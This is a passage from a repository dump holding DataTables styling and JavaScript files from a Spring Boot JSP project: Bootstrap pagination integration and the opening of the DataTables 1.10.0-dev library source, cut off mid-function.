    "content": "div.dataTables_length label {\n    float: left;\n    text-align: left;\n    font-weight: normal;\n}\n\ndiv.dataTables_length select {\n    width: 75px;\n}\n\ndiv.dataTables_filter label {\n    float: right;\n    font-weight: normal;\n}\n\ndiv.dataTables_filter input {\n    width: 16em;\n}\n\ndiv.dataTables_info {\n    padding-top: 8px;\n}\n\ndiv.dataTables_paginate {\n    float: right;\n    margin: 0;\n}\n\ndiv.dataTables_paginate ul.pagination {\n    margin: 2px 0;\n    white-space: nowrap;\n}\n\ntable.dataTable,\ntable.dataTable td,\ntable.dataTable th {\n    -webkit-box-sizing: content-box;\n    -moz-box-sizing: content-box;\n    box-sizing: content-box;\n}\n\ntable.dataTable {\n    clear: both;\n    margin-top: 6px !important;\n    margin-bottom: 6px !important;\n    max-width: none !important;\n}\n\ntable.dataTable thead .sorting,\ntable.dataTable thead .sorting_asc,\ntable.dataTable thead .sorting_desc,\ntable.dataTable thead .sorting_asc_disabled,\ntable.dataTable thead .sorting_desc_disabled {\n    cursor: pointer;\n}\n\ntable.dataTable thead .sorting {\n    background: url('../images/sort_both.png') no-repeat center right;\n}\n\ntable.dataTable thead .sorting_asc {\n    background: url('../images/sort_asc.png') no-repeat center right;\n}\n\ntable.dataTable thead .sorting_desc {\n    background: url('../images/sort_desc.png') no-repeat center right;\n}\n\ntable.dataTable thead .sorting_asc_disabled {\n    background: url('../images/sort_asc_disabled.png') no-repeat center right;\n}\n\ntable.dataTable thead .sorting_desc_disabled {\n    background: url('../images/sort_desc_disabled.png') no-repeat center right;\n}\n\ntable.dataTable th:active {\n    outline: none;\n}\n\n/* Scrolling */\n\ndiv.dataTables_scrollHead table {\n    margin-bottom: 0 !important;\n    border-bottom-left-radius: 0;\n    border-bottom-right-radius: 0;\n}\n\ndiv.dataTables_scrollHead table thead tr:last-child th:first-child,\ndiv.dataTables_scrollHead table thead tr:last-child td:first-child {\n    border-bottom-left-radius: 0 !important;\n    border-bottom-right-radius: 0 !important;\n}\n\ndiv.dataTables_scrollBody table {\n    margin-top: 0 !important;\n    margin-bottom: 0 !important;\n    border-top: none;\n}\n\ndiv.dataTables_scrollBody tbody tr:first-child th,\ndiv.dataTables_scrollBody tbody tr:first-child td {\n    border-top: none;\n}\n\ndiv.dataTables_scrollFoot table {\n    margin-top: 0 !important;\n    border-top: none;\n}\n\n/*\n * TableTools styles\n */\n\n.table tbody tr.active td,\n.table tbody tr.active th {\n    color: white;\n    background-color: #08C;\n}\n\n.table tbody tr.active:hover td,\n.table tbody tr.active:hover th {\n    background-color: #0075b0 !important;\n}\n\n.table tbody tr.active a {\n    color: white;\n}\n\n.table-striped tbody tr.active:nth-child(odd) td,\n.table-striped tbody tr.active:nth-child(odd) th {\n    background-color: #017ebc;\n}\n\ntable.DTTT_selectable tbody tr {\n    cursor: pointer;\n}\n\ndiv.DTTT .btn {\n    font-size: 12px;\n    color: #333 !important;\n}\n\ndiv.DTTT .btn:hover {\n    text-decoration: none !important;\n}\n\nul.DTTT_dropdown.dropdown-menu {\n    z-index: 2003;\n}\n\nul.DTTT_dropdown.dropdown-menu a {\n    color: #333 !important; /* needed only when demo_page.css is included */\n}\n\nul.DTTT_dropdown.dropdown-menu li {\n    position: relative;\n}\n\nul.DTTT_dropdown.dropdown-menu li:hover a {\n    color: white !important;\n    background-color: #0088cc;\n}\n\ndiv.DTTT_collection_background {\n    z-index: 2002;\n}\n\n/* TableTools information display */\n\ndiv.DTTT_print_info.modal {\n    height: 150px;\n    margin-top: -75px;\n    text-align: center;\n}\n\ndiv.DTTT_print_info h6 {\n    margin: 1em;\n    font-size: 28px;\n    font-weight: normal;\n    line-height: 28px;\n}\n\ndiv.DTTT_print_info p {\n    font-size: 14px;\n    line-height: 20px;\n}\n\n/*\n * FixedColumns styles\n */\n\ndiv.DTFC_LeftHeadWrapper table,\ndiv.DTFC_LeftFootWrapper table,\ndiv.DTFC_RightHeadWrapper table,\ndiv.DTFC_RightFootWrapper table,\ntable.DTFC_Cloned tr.even {\n    background-color: white;\n}\n\ndiv.DTFC_RightHeadWrapper table,\ndiv.DTFC_LeftHeadWrapper table {\n    margin-bottom: 0 !important;\n    border-top-right-radius: 0 !important;\n    border-bottom-left-radius: 0 !important;\n    border-bottom-right-radius: 0 !important;\n}\n\ndiv.DTFC_RightHeadWrapper table thead tr:last-child th:first-child,\ndiv.DTFC_RightHeadWrapper table thead tr:last-child td:first-child,\ndiv.DTFC_LeftHeadWrapper table thead tr:last-child th:first-child,\ndiv.DTFC_LeftHeadWrapper table thead tr:last-child td:first-child {\n    border-bottom-left-radius: 0 !important;\n    border-bottom-right-radius: 0 !important;\n}\n\ndiv.DTFC_RightBodyWrapper table,\ndiv.DTFC_LeftBodyWrapper table {\n    margin-bottom: 0 !important;\n    border-top: none;\n}\n\ndiv.DTFC_RightBodyWrapper tbody tr:first-child th,\ndiv.DTFC_RightBodyWrapper tbody tr:first-child td,\ndiv.DTFC_LeftBodyWrapper tbody tr:first-child th,\ndiv.DTFC_LeftBodyWrapper tbody tr:first-child td {\n    border-top: none;\n}\n\ndiv.DTFC_RightFootWrapper table,\ndiv.DTFC_LeftFootWrapper table {\n    border-top: none;\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/dataTables/dataTables.bootstrap.js",
    "content": "/* Set the defaults for DataTables initialisation */\n$.extend(true, $.fn.dataTable.defaults, {\n    \"sDom\": \"<'row'<'col-sm-6'l><'col-sm-6'f>r>\" + \"t\" + \"<'row'<'col-sm-6'i><'col-sm-6'p>>\",\n    \"oLanguage\": {\n        \"sLengthMenu\": \"_MENU_ records per page\"\n    }\n});\n\n\n/* Default class modification */\n$.extend($.fn.dataTableExt.oStdClasses, {\n    \"sWrapper\": \"dataTables_wrapper form-inline\",\n    \"sFilterInput\": \"form-control input-sm\",\n    \"sLengthSelect\": \"form-control input-sm\"\n});\n\n// In 1.10 we use the pagination renderers to draw the Bootstrap paging,\n// rather than  custom plug-in\nif ($.fn.dataTable.Api) {\n    $.fn.dataTable.defaults.renderer = 'bootstrap';\n    $.fn.dataTable.ext.renderer.pageButton.bootstrap = function(settings, host, idx, buttons, page, pages) {\n        var api = new $.fn.dataTable.Api(settings);\n        var classes = settings.oClasses;\n        var lang = settings.oLanguage.oPaginate;\n        var btnDisplay, btnClass;\n\n        var attach = function(container, buttons) {\n            var i, ien, node, button;\n            var clickHandler = function(e) {\n                e.preventDefault();\n                if (e.data.action !== 'ellipsis') {\n                    api.page(e.data.action).draw(false);\n                }\n            };\n\n            for (i = 0, ien = buttons.length; i < ien; i++) {\n                button = buttons[i];\n\n                if ($.isArray(button)) {\n                    attach(container, button);\n                } else {\n                    btnDisplay = '';\n                    btnClass = '';\n\n                    switch (button) {\n                        case 'ellipsis':\n                            btnDisplay = '&hellip;';\n                            btnClass = 'disabled';\n                            break;\n\n                        case 'first':\n                            btnDisplay = lang.sFirst;\n                            btnClass = button + (page > 0 ?\n                                '' : ' disabled');\n                            break;\n\n                        case 'previous':\n                            btnDisplay = lang.sPrevious;\n                            btnClass = button + (page > 0 ?\n                                '' : ' disabled');\n                            break;\n\n                        case 'next':\n                            btnDisplay = lang.sNext;\n                            btnClass = button + (page < pages - 1 ?\n                                '' : ' disabled');\n                            break;\n\n                        case 'last':\n                            btnDisplay = lang.sLast;\n                            btnClass = button + (page < pages - 1 ?\n                                '' : ' disabled');\n                            break;\n\n                        default:\n                            btnDisplay = button + 1;\n                            btnClass = page === button ?\n                                'active' : '';\n                            break;\n                    }\n\n                    if (btnDisplay) {\n                        node = $('<li>', {\n                            'class': classes.sPageButton + ' ' + btnClass,\n                            'aria-controls': settings.sTableId,\n                            'tabindex': settings.iTabIndex,\n                            'id': idx === 0 && typeof button === 'string' ? settings.sTableId + '_' + button : null\n                        })\n                            .append($('<a>', {\n                                    'href': '#'\n                                })\n                                .html(btnDisplay)\n                        )\n                            .appendTo(container);\n\n                        settings.oApi._fnBindAction(\n                            node, {\n                                action: button\n                            }, clickHandler\n                        );\n                    }\n                }\n            }\n        };\n\n        attach(\n            $(host).empty().html('<ul class=\"pagination\"/>').children('ul'),\n            buttons\n        );\n    }\n} else {\n    // Integration for 1.9-\n    $.fn.dataTable.defaults.sPaginationType = 'bootstrap';\n\n    /* API method to get paging information */\n    $.fn.dataTableExt.oApi.fnPagingInfo = function(oSettings) {\n        return {\n            \"iStart\": oSettings._iDisplayStart,\n            \"iEnd\": oSettings.fnDisplayEnd(),\n            \"iLength\": oSettings._iDisplayLength,\n            \"iTotal\": oSettings.fnRecordsTotal(),\n            \"iFilteredTotal\": oSettings.fnRecordsDisplay(),\n            \"iPage\": oSettings._iDisplayLength === -1 ? 0 : Math.ceil(oSettings._iDisplayStart / oSettings._iDisplayLength),\n            \"iTotalPages\": oSettings._iDisplayLength === -1 ? 0 : Math.ceil(oSettings.fnRecordsDisplay() / oSettings._iDisplayLength)\n        };\n    };\n\n    /* Bootstrap style pagination control */\n    $.extend($.fn.dataTableExt.oPagination, {\n        \"bootstrap\": {\n            \"fnInit\": function(oSettings, nPaging, fnDraw) {\n                var oLang = oSettings.oLanguage.oPaginate;\n                var fnClickHandler = function(e) {\n                    e.preventDefault();\n                    if (oSettings.oApi._fnPageChange(oSettings, e.data.action)) {\n                        fnDraw(oSettings);\n                    }\n                };\n\n                $(nPaging).append(\n                    '<ul class=\"pagination\">' +\n                    '<li class=\"prev disabled\"><a href=\"#\">&larr; ' + oLang.sPrevious + '</a></li>' +\n                    '<li class=\"next disabled\"><a href=\"#\">' + oLang.sNext + ' &rarr; </a></li>' +\n                    '</ul>'\n                );\n                var els = $('a', nPaging);\n                $(els[0]).bind('click.DT', {\n                    action: \"previous\"\n                }, fnClickHandler);\n                $(els[1]).bind('click.DT', {\n                    action: \"next\"\n                }, fnClickHandler);\n            },\n\n            \"fnUpdate\": function(oSettings, fnDraw) {\n                var iListLength = 5;\n                var oPaging = oSettings.oInstance.fnPagingInfo();\n                var an = oSettings.aanFeatures.p;\n                var i, ien, j, sClass, iStart, iEnd, iHalf = Math.floor(iListLength / 2);\n\n                if (oPaging.iTotalPages < iListLength) {\n                    iStart = 1;\n                    iEnd = oPaging.iTotalPages;\n                } else if (oPaging.iPage <= iHalf) {\n                    iStart = 1;\n                    iEnd = iListLength;\n                } else if (oPaging.iPage >= (oPaging.iTotalPages - iHalf)) {\n                    iStart = oPaging.iTotalPages - iListLength + 1;\n                    iEnd = oPaging.iTotalPages;\n                } else {\n                    iStart = oPaging.iPage - iHalf + 1;\n                    iEnd = iStart + iListLength - 1;\n                }\n\n                for (i = 0, ien = an.length; i < ien; i++) {\n                    // Remove the middle elements\n                    $('li:gt(0)', an[i]).filter(':not(:last)').remove();\n\n                    // Add the new list items and their event handlers\n                    for (j = iStart; j <= iEnd; j++) {\n                        sClass = (j == oPaging.iPage + 1) ? 'class=\"active\"' : '';\n                        $('<li ' + sClass + '><a href=\"#\">' + j + '</a></li>')\n                            .insertBefore($('li:last', an[i])[0])\n                            .bind('click', function(e) {\n                                e.preventDefault();\n                                oSettings._iDisplayStart = (parseInt($('a', this).text(), 10) - 1) * oPaging.iLength;\n                                fnDraw(oSettings);\n                            });\n                    }\n\n                    // Add / remove disabled classes from the static elements\n                    if (oPaging.iPage === 0) {\n                        $('li:first', an[i]).addClass('disabled');\n                    } else {\n                        $('li:first', an[i]).removeClass('disabled');\n                    }\n\n                    if (oPaging.iPage === oPaging.iTotalPages - 1 || oPaging.iTotalPages === 0) {\n                        $('li:last', an[i]).addClass('disabled');\n                    } else {\n                        $('li:last', an[i]).removeClass('disabled');\n                    }\n                }\n            }\n        }\n    });\n}\n\n\n/*\n * TableTools Bootstrap compatibility\n * Required TableTools 2.1+\n */\nif ($.fn.DataTable.TableTools) {\n    // Set the classes that TableTools uses to something suitable for Bootstrap\n    $.extend(true, $.fn.DataTable.TableTools.classes, {\n        \"container\": \"DTTT btn-group\",\n        \"buttons\": {\n            \"normal\": \"btn btn-default\",\n            \"disabled\": \"disabled\"\n        },\n        \"collection\": {\n            \"container\": \"DTTT_dropdown dropdown-menu\",\n            \"buttons\": {\n                \"normal\": \"\",\n                \"disabled\": \"disabled\"\n            }\n        },\n        \"print\": {\n            \"info\": \"DTTT_print_info modal\"\n        },\n        \"select\": {\n            \"row\": \"active\"\n        }\n    });\n\n    // Have the collection use a bootstrap compatible dropdown\n    $.extend(true, $.fn.DataTable.TableTools.DEFAULTS.oTags, {\n        \"collection\": {\n            \"container\": \"ul\",\n            \"button\": \"li\",\n            \"liner\": \"a\"\n        }\n    });\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/dataTables/jquery.dataTables.js",
    "content": "/*! DataTables 1.10.0-dev\n * ©2008-2013 SpryMedia Ltd - datatables.net/license\n */\n\n/**\n * @summary     DataTables\n * @description Paginate, search and order HTML tables\n * @version     1.10.0-dev\n * @file        jquery.dataTables.js\n * @author      SpryMedia Ltd (www.sprymedia.co.uk)\n * @contact     www.sprymedia.co.uk/contact\n * @copyright   Copyright 2008-2013 SpryMedia Ltd.\n *\n * This source file is free software, available under the following license:\n *   MIT license - http://datatables.net/license\n *\n * This source file is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details.\n *\n * For details please refer to: http://www.datatables.net\n */\n\n/*jslint evil: true, undef: true, browser: true */\n/*globals $,require,jQuery,define,_selector_run,_selector_opts,_selector_first,_selector_row_indexes,_ext,_Api,_api_register,_api_registerPlural,_re_new_lines,_re_html,_re_formatted_numeric,_empty,_intVal,_isNumber,_isHtml,_htmlNumeric,_pluck,_pluck_order,_range,_stripHtml,_unique,_fnBuildAjax,_fnAjaxUpdate,_fnAjaxParameters,_fnAjaxUpdateDraw,_fnAjaxDataSrc,_fnAddColumn,_fnColumnOptions,_fnAdjustColumnSizing,_fnVisibleToColumnIndex,_fnColumnIndexToVisible,_fnVisbleColumns,_fnGetColumns,_fnColumnTypes,_fnApplyColumnDefs,_fnHungarianMap,_fnCamelToHungarian,_fnLanguageCompat,_fnBrowserDetect,_fnAddData,_fnAddTr,_fnNodeToDataIndex,_fnNodeToColumnIndex,_fnGetRowData,_fnGetCellData,_fnSetCellData,_fnSplitObjNotation,_fnGetObjectDataFn,_fnSetObjectDataFn,_fnGetDataMaster,_fnClearTable,_fnDeleteIndex,_fnInvalidateRow,_fnGetRowElements,_fnCreateTr,_fnBuildHead,_fnDrawHead,_fnDraw,_fnReDraw,_fnAddOptionsHtml,_fnDetectHeader,_fnGetUniqueThs,_fnFeatureHtmlFilter,_fnFilterComplete,_fnFilterCustom,_fnFilterColumn,_fnFilter,_fnFilterCreateSearch,_fnEscapeRegex,_fnFilterData,_fnFeatureHtmlInfo,_fnUpdateInfo,_fnInfoMacros,_fnInitialise,_fnInitComplete,_fnLengthChange,_fnFeatureHtmlLength,_fnFeatureHtmlPaginate,_fnPageChange,_fnFeatureHtmlProcessing,_fnProcessingDisplay,_fnFeatureHtmlTable,_fnScrollDraw,_fnApplyToChildren,_fnCalculateColumnWidths,_fnThrottle,_fnConvertToWidth,_fnScrollingWidthAdjust,_fnGetWidestNode,_fnGetMaxLenString,_fnStringToCss,_fnScrollBarWidth,_fnSortFlatten,_fnSort,_fnSortAria,_fnSortListener,_fnSortAttachListener,_fnSortingClasses,_fnSortData,_fnSaveState,_fnLoadState,_fnSettingsFromNode,_fnLog,_fnMap,_fnBindAction,_fnCallbackReg,_fnCallbackFire,_fnLengthOverflow,_fnRenderer,_fnDataSource,_fnRowAttributes*/\n\n(/** @lends <global> */function( window, document, $, undefined ) {\n\n(function( factory ) {\n\t\"use strict\";\n\n\t// Define as an AMD module if possible\n\tif ( typeof define === 'function' && define.amd )\n\t{\n\t\tdefine( 'datatables', ['jquery'], factory );\n\t}\n\t/* Define using browser globals otherwise\n\t * Prevent multiple instantiations if the script is loaded twice\n\t */\n\telse if ( jQuery && !jQuery.fn.dataTable )\n\t{\n\t\tfactory( jQuery );\n\t}\n}\n(/** @lends <global> */function( $ ) {\n\t\"use strict\";\n\n\t/**\n\t * DataTables is a plug-in for the jQuery Javascript library. It is a highly\n\t * flexible tool, based upon the foundations of progressive enhancement,\n\t * which will add advanced interaction controls to any HTML table. For a\n\t * full list of features please refer to\n\t * [DataTables.net](href=\"http://datatables.net).\n\t *\n\t * Note that the `DataTable` object is not a global variable but is aliased\n\t * to `jQuery.fn.DataTable` and `jQuery.fn.dataTable` through which it may\n\t * be  accessed.\n\t *\n\t *  @class\n\t *  @param {object} [init={}] Configuration object for DataTables. Options\n\t *    are defined by {@link DataTable.defaults}\n\t *  @requires jQuery 1.3+\n\t *\n\t *  @example\n\t *    // Basic initialisation\n\t *    $(document).ready( function {\n\t *      $('#example').dataTable();\n\t *    } );\n\t *\n\t *  @example\n\t *    // Initialisation with configuration options - in this case, disable\n\t *    // pagination and sorting.\n\t *    $(document).ready( function {\n\t *      $('#example').dataTable( {\n\t *        \"paginate\": false,\n\t *        \"sort\": false\n\t *      } );\n\t *    } );\n\t */\n\tvar DataTable;\n\n\t\n\t/*\n\t * It is useful to have variables which are scoped locally so only the\n\t * DataTables functions can access them and they don't leak into global space.\n\t * At the same time these functions are often useful over multiple files in the\n\t * core and API, so we list, or at least document, all variables which are used\n\t * by DataTables as private variables here. This also ensures that there is no\n\t * clashing of variable names and that they can easily referenced for reuse.\n\t */\n\t\n\t\n\t// Defined else where\n\t//  _selector_run\n\t//  _selector_opts\n\t//  _selector_first\n\t//  _selector_row_indexes\n\t\n\tvar _ext; // DataTable.ext\n\tvar _Api; // DataTable.Api\n\tvar _api_register; // DataTable.Api.register\n\tvar _api_registerPlural; // DataTable.Api.registerPlural\n\t\n\tvar _re_new_lines = /[\\r\\n]/g;\n\tvar _re_html = /<.*?>/g;\n\tvar _re_formatted_numeric = /[',$£€¥%]/g;\n\tvar _re_date_start = /^[\\d\\+\\-a-zA-Z]/;\n\t\n\t\n\t\n\t\n\tvar _empty = function ( d ) {\n\t\treturn !d || d === '-' ? true : false;\n\t};\n\t\n\t\n\tvar _intVal = function ( s ) {\n\t\tvar integer = parseInt( s, 10 );\n\t\treturn !isNaN(integer) && isFinite(s) ? integer : null;\n\t};\n\t\n\t\n\tvar _isNumber = function ( d, formatted ) {\n\t\tif ( formatted && typeof d === 'string' ) {\n\t\t\td = d.replace( _re_formatted_numeric, '' );\n\t\t}\n\t\n\t\treturn !d || d==='-' || (!isNaN( parseFloat(d) ) && isFinite( d ));\n\t};\n\t\n\t\n\t// A string without HTML in it can be considered to be HTML still\n\tvar _isHtml = function ( d ) {\n\t\treturn !d || typeof d === 'string';\n\t};\n\t\n\t\n\tvar _htmlNumeric = function ( d, formatted ) {\n\t\tif ( _empty( d ) ) {\n\t\t\treturn true;\n\t\t}\n\t\n\t\tvar html = _isHtml( d );\n\t\treturn ! html ?\n\t\t\tnull :\n\t\t\t_isNumber( _stripHtml( d ), formatted ) ?\n\t\t\t\ttrue :\n\t\t\t\tnull;\n\t};\n\t\n\t\n\tvar _pluck = function ( a, prop, prop2 ) {\n\t\tvar out = [];\n\t\tvar i=0, ien=a.length;\n\t\n\t\t// Could have the test in the loop for slightly smaller code, but speed\n\t\t// is essential here\n\t\tif ( prop2 !== undefined ) {\n\t\t\tfor ( ; i<ien ; i++ ) {\n\t\t\t\tif ( a[i] && a[i][ prop ] ) {\n\t\t\t\t\tout.push( a[i][ prop ][ prop2 ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tfor ( ; i<ien ; i++ ) {\n\t\t\t\tif ( a[i] ) {\n\t\t\t\t\tout.push( a[i][ prop ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\treturn out;\n\t};\n\t\n\t\n\t// Basically the same as _pluck, but rather than looping over `a` we use `order`\n\t// as the indexes to pick from `a`\n\tvar _pluck_order = function ( a, order, prop, prop2 )\n\t{\n\t\tvar out = [];\n\t\tvar i=0, ien=order.length;\n\t\n\t\t// Could have the test in the loop for slightly smaller code, but speed\n\t\t// is essential here\n\t\tif ( prop2 !== undefined ) {\n\t\t\tfor ( ; i<ien ; i++ ) {\n\t\t\t\tout.push( a[ order[i] ][ prop ][ prop2 ] );\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tfor ( ; i<ien ; i++ ) {\n\t\t\t\tout.push( a[ order[i] ][ prop ] );\n\t\t\t}\n\t\t}\n\t\n\t\treturn out;\n\t};\n\t\n\t\n\tvar _range = function ( len, start )\n\t{\n\t\tvar out = [];\n\t\tvar end;\n\t\n\t\tif ( start === undefined ) {\n\t\t\tstart = 0;\n\t\t\tend = len;\n\t\t}\n\t\telse {\n\t\t\tend = start;\n\t\t\tstart = len;\n\t\t}\n\t\n\t\tfor ( var i=start ; i<end ; i++ ) {\n\t\t\tout.push( i );\n\t\t}\n\t\n\t\treturn out;\n\t};\n\t\n\t\n\tvar _stripHtml = function ( d ) {\n\t\treturn d.replace( _re_html, '' );\n\t};\n\t\n\t\n\t/**\n\t * Find the unique elements in a source array.\n\t *\n\t * @param  {array} src Source array\n\t * @return {array} Array of unique items\n\t * @ignore\n\t */\n\tvar _unique = function ( src )\n\t{\n\t\t// A faster unique method is to use object keys to identify used values,\n\t\t// but this doesn't work with arrays or objects, which we must also\n\t\t// consider. See jsperf.com/compare-array-unique-versions/4 for more\n\t\t// information.\n\t\tvar\n\t\t\tout = [],\n\t\t\tval,\n\t\t\ti, ien=src.length,\n\t\t\tj, k=0;\n\t\n\t\tagain: for ( i=0 ; i<ien ; i++ ) {\n\t\t\tval = src[i];\n\t\n\t\t\tfor ( j=0 ; j<k ; j++ ) {\n\t\t\t\tif ( out[j] === val ) {\n\t\t\t\t\tcontinue again;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tout.push( val );\n\t\t\tk++;\n\t\t}\n\t\n\t\treturn out;\n\t};\n\t\n\t\n\t\n\t/**\n\t * Create a mapping object that allows camel case parameters to be looked up\n\t * for their Hungarian counterparts. The mapping is stored in a private\n\t * parameter called `_hungarianMap` which can be accessed on the source object.\n\t *  @param {object} o\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnHungarianMap ( o )\n\t{\n\t\tvar\n\t\t\thungarian = 'a aa ao as b fn i m o s ',\n\t\t\tmatch,\n\t\t\tnewKey,\n\t\t\tmap = {};\n\t\n\t\t$.each( o, function (key, val) {\n\t\t\tmatch = key.match(/^([^A-Z]+?)([A-Z])/);\n\t\n\t\t\tif ( match && hungarian.indexOf(match[1]+' ') !== -1 )\n\t\t\t{\n\t\t\t\tnewKey = key.replace( match[0], match[2].toLowerCase() );\n\t\t\t\tmap[ newKey ] = key;\n\t\n\t\t\t\tif ( match[1] === 'o' )\n\t\t\t\t{\n\t\t\t\t\t_fnHungarianMap( o[key] );\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t\n\t\to._hungarianMap = map;\n\t}\n\t\n\t\n\t/**\n\t * Convert from camel case parameters to Hungarian, based on a Hungarian map\n\t * created by _fnHungarianMap.\n\t *  @param {object} src The model object which holds all parameters that can be\n\t *    mapped.\n\t *  @param {object} user The object to convert from camel case to Hungarian.\n\t *  @param {boolean} force When set to `true`, properties which already have a\n\t *    Hungarian value in the `user` object will be overwritten. Otherwise they\n\t *    won't be.\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnCamelToHungarian ( src, user, force )\n\t{\n\t\tif ( ! src._hungarianMap )\n\t\t{\n\t\t\t_fnHungarianMap( src );\n\t\t}\n\t\n\t\tvar hungarianKey;\n\t\n\t\t$.each( user, function (key, val) {\n\t\t\thungarianKey = src._hungarianMap[ key ];\n\t\n\t\t\tif ( hungarianKey !== undefined && (force || user[hungarianKey] === undefined) )\n\t\t\t{\n\t\t\t\tuser[hungarianKey] = user[ key ];\n\t\n\t\t\t\tif ( hungarianKey.charAt(0) === 'o' )\n\t\t\t\t{\n\t\t\t\t\t_fnCamelToHungarian( src[hungarianKey], user[key] );\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t}\n\t\n\t\n\t/**\n\t * Language compatibility - when certain options are given, and others aren't, we\n\t * need to duplicate the values over, in order to provide backwards compatibility\n\t * with older language files.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnLanguageCompat( oLanguage )\n\t{\n\t\tvar oDefaults = DataTable.defaults.oLanguage;\n\t\tvar zeroRecords = oLanguage.sZeroRecords;\n\t\n\t\t/* Backwards compatibility - if there is no sEmptyTable given, then use the same as\n\t\t * sZeroRecords - assuming that is given.\n\t\t */\n\t\tif ( !oLanguage.sEmptyTable && zeroRecords &&\n\t\t\toDefaults.sEmptyTable === \"No data available in table\" )\n\t\t{\n\t\t\t_fnMap( oLanguage, oLanguage, 'sZeroRecords', 'sEmptyTable' );\n\t\t}\n\t\n\t\t/* Likewise with loading records */\n\t\tif ( !oLanguage.sLoadingRecords && zeroRecords &&\n\t\t\toDefaults.sLoadingRecords === \"Loading...\" )\n\t\t{\n\t\t\t_fnMap( oLanguage, oLanguage, 'sZeroRecords', 'sLoadingRecords' );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Map one parameter onto another\n\t *  @param {object} o Object to map\n\t *  @param {*} knew The new parameter name\n\t *  @param {*} old The old parameter name\n\t */\n\tvar _fnCompatMap = function ( o, knew, old ) {\n\t\tif ( o[ knew ] !== undefined ) {\n\t\t\to[ old ] = o[ knew ];\n\t\t}\n\t};\n\t\n\t\n\t/**\n\t * Provide backwards compatibility for the main DT options. Note that the new\n\t * options are mapped onto the old parameters, so this is an external interface\n\t * change only.\n\t *  @param {object} init Object to map\n\t */\n\tfunction _fnCompatOpts ( init )\n\t{\n\t\t_fnCompatMap( init, 'ordering',      'bSort' );\n\t\t_fnCompatMap( init, 'orderMulti',    'bSortMulti' );\n\t\t_fnCompatMap( init, 'orderClasses',  'bSortClasses' );\n\t\t_fnCompatMap( init, 'orderCellsTop', 'bSortCellsTop' );\n\t\t_fnCompatMap( init, 'order',         'aaSorting' );\n\t\t_fnCompatMap( init, 'orderFixed',    'aaSortingFixed' );\n\t\t_fnCompatMap( init, 'paging',        'bPaginate' );\n\t\t_fnCompatMap( init, 'pagingType',    'sPaginationType' );\n\t\t_fnCompatMap( init, 'pageLength',    'iDisplayLength' );\n\t\t_fnCompatMap( init, 'searching',     'bFilter' );\n\t}\n\t\n\t\n\t/**\n\t * Provide backwards compatibility for column options. Note that the new options\n\t * are mapped onto the old parameters, so this is an external interface change\n\t * only.\n\t *  @param {object} init Object to map\n\t */\n\tfunction _fnCompatCols ( init )\n\t{\n\t\t_fnCompatMap( init, 'orderable',     'bSortable' );\n\t\t_fnCompatMap( init, 'orderData',     'aDataSort' );\n\t\t_fnCompatMap( init, 'orderSequence', 'asSorting' );\n\t\t_fnCompatMap( init, 'orderDataType', 'sortDataType' );\n\t}\n\t\n\t\n\t/**\n\t * Browser feature detection for capabilities, quirks\n\t *  @param {object} settings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnBrowserDetect( settings )\n\t{\n\t\tvar browser = settings.oBrowser;\n\t\n\t\t// Scrolling feature / quirks detection\n\t\tvar n = $('<div/>')\n\t\t\t.css( {\n\t\t\t\tposition: 'absolute',\n\t\t\t\ttop: 0,\n\t\t\t\tleft: 0,\n\t\t\t\theight: 1,\n\t\t\t\twidth: 1,\n\t\t\t\toverflow: 'hidden'\n\t\t\t} )\n\t\t\t.append(\n\t\t\t\t$('<div/>')\n\t\t\t\t\t.css( {\n\t\t\t\t\t\tposition: 'absolute',\n\t\t\t\t\t\ttop: 1,\n\t\t\t\t\t\tleft: 1,\n\t\t\t\t\t\twidth: 100,\n\t\t\t\t\t\toverflow: 'scroll'\n\t\t\t\t\t} )\n\t\t\t\t\t.append(\n\t\t\t\t\t\t$('<div class=\"test\"/>')\n\t\t\t\t\t\t\t.css( {\n\t\t\t\t\t\t\t\twidth: '100%',\n\t\t\t\t\t\t\t\theight: 10\n\t\t\t\t\t\t\t} )\n\t\t\t\t\t)\n\t\t\t)\n\t\t\t.appendTo( 'body' );\n\t\n\t\tvar test = n.find('.test');\n\t\n\t\t// IE6/7 will oversize a width 100% element inside a scrolling element, to\n\t\t// include the width of the scrollbar, while other browsers ensure the inner\n\t\t// element is contained without forcing scrolling\n\t\tbrowser.bScrollOversize = test[0].offsetWidth === 100;\n\t\n\t\t// In rtl text layout, some browsers (most, but not all) will place the\n\t\t// scrollbar on the left, rather than the right.\n\t\tbrowser.bScrollbarLeft = test.offset().left !== 1;\n\t\n\t\tn.remove();\n\t}\n\t\n\t/**\n\t * Add a column to the list used for the table with default values\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {node} nTh The th element for this column\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAddColumn( oSettings, nTh )\n\t{\n\t\tvar oDefaults = DataTable.defaults.column;\n\t\tvar iCol = oSettings.aoColumns.length;\n\t\tvar oCol = $.extend( {}, DataTable.models.oColumn, oDefaults, {\n\t\t\t\"sSortingClass\": oSettings.oClasses.sSortable,\n\t\t\t\"sSortingClassJUI\": oSettings.oClasses.sSortJUI,\n\t\t\t\"nTh\": nTh ? nTh : document.createElement('th'),\n\t\t\t\"sTitle\":    oDefaults.sTitle    ? oDefaults.sTitle    : nTh ? nTh.innerHTML : '',\n\t\t\t\"aDataSort\": oDefaults.aDataSort ? oDefaults.aDataSort : [iCol],\n\t\t\t\"mData\": oDefaults.mData ? oDefaults.mData : iCol\n\t\t} );\n\t\toSettings.aoColumns.push( oCol );\n\t\n\t\t/* Add a column specific filter */\n\t\tif ( 